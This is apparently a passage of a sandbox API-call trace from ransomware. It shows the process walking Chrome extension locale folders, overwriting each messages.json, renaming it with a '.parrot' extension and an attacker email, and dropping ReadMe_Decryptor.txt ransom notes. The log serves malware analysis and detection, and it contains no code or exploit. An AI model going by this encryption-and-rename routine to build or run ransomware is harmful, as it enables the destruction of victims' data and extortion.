0x6a7fe8 [0075.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acc70 | out: hHeap=0x5b0000) returned 1 [0075.011] WriteFile (in: hFile=0x274, lpBuffer=0x6a8000*, nNumberOfBytesToWrite=0x4388, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x6a8000*, lpNumberOfBytesWritten=0x18da44*=0x4388, lpOverlapped=0x0) returned 1 [0075.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.011] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4383, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.011] CloseHandle (hObject=0x274) returned 1 [0075.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.012] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x5cff58 [0075.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.013] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3189a80 | out: hHeap=0x5b0000) returned 1 [0075.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319a068 | out: hHeap=0x5b0000) returned 1 [0075.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6694c0 [0075.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0075.014] GetFileType (hFile=0x274) returned 0x1 [0075.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a7fe8 [0075.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.027] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba318340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba318340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.027] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83617ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba318340, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0075.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0075.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0075.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.028] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.028] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.028] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.028] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.028] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361f520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d11, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0075.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.028] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e29, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.028] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.028] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0075.031] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.031] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3d11, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3d11, lpOverlapped=0x0) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0075.031] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a7fe8 [0075.032] GetLastError () returned 0x0 [0075.033] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cff58 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0140 [0075.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x317c098 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0140 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cff58 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x317c098 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x317ca00 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x317d818 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ca00 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x317ed58 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317d818 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3180d20 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317ed58 | out: hHeap=0x5b0000) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x317c098 [0075.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3180d20 | out: hHeap=0x5b0000) returned 1 [0075.035] WriteFile (in: hFile=0x274, lpBuffer=0x317c0a0*, nNumberOfBytesToWrite=0x3e38, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x317c0a0*, lpNumberOfBytesWritten=0x18da44*=0x3e38, lpOverlapped=0x0) returned 1 [0075.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317c098 | out: hHeap=0x5b0000) returned 1 [0075.036] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e29, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.036] CloseHandle (hObject=0x274) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f6) returned 0x5cff58 [0075.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.037] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3189a80 | out: hHeap=0x5b0000) returned 1 [0075.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6694c0 [0075.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5cce70 [0075.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0075.039] GetFileType (hFile=0x274) returned 0x1 [0075.039] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a7fe8 [0075.051] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.051] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba364600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba364600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361f520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba364600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e38, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0075.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0075.051] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.051] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.051] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.051] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8362b870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8399a6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.052] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.052] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.052] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0075.053] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.053] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3d72, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3d72, lpOverlapped=0x0) returned 1 [0075.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a7fe8 [0075.054] GetLastError () returned 0x0 [0075.055] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.056] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.056] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.056] HeapFree 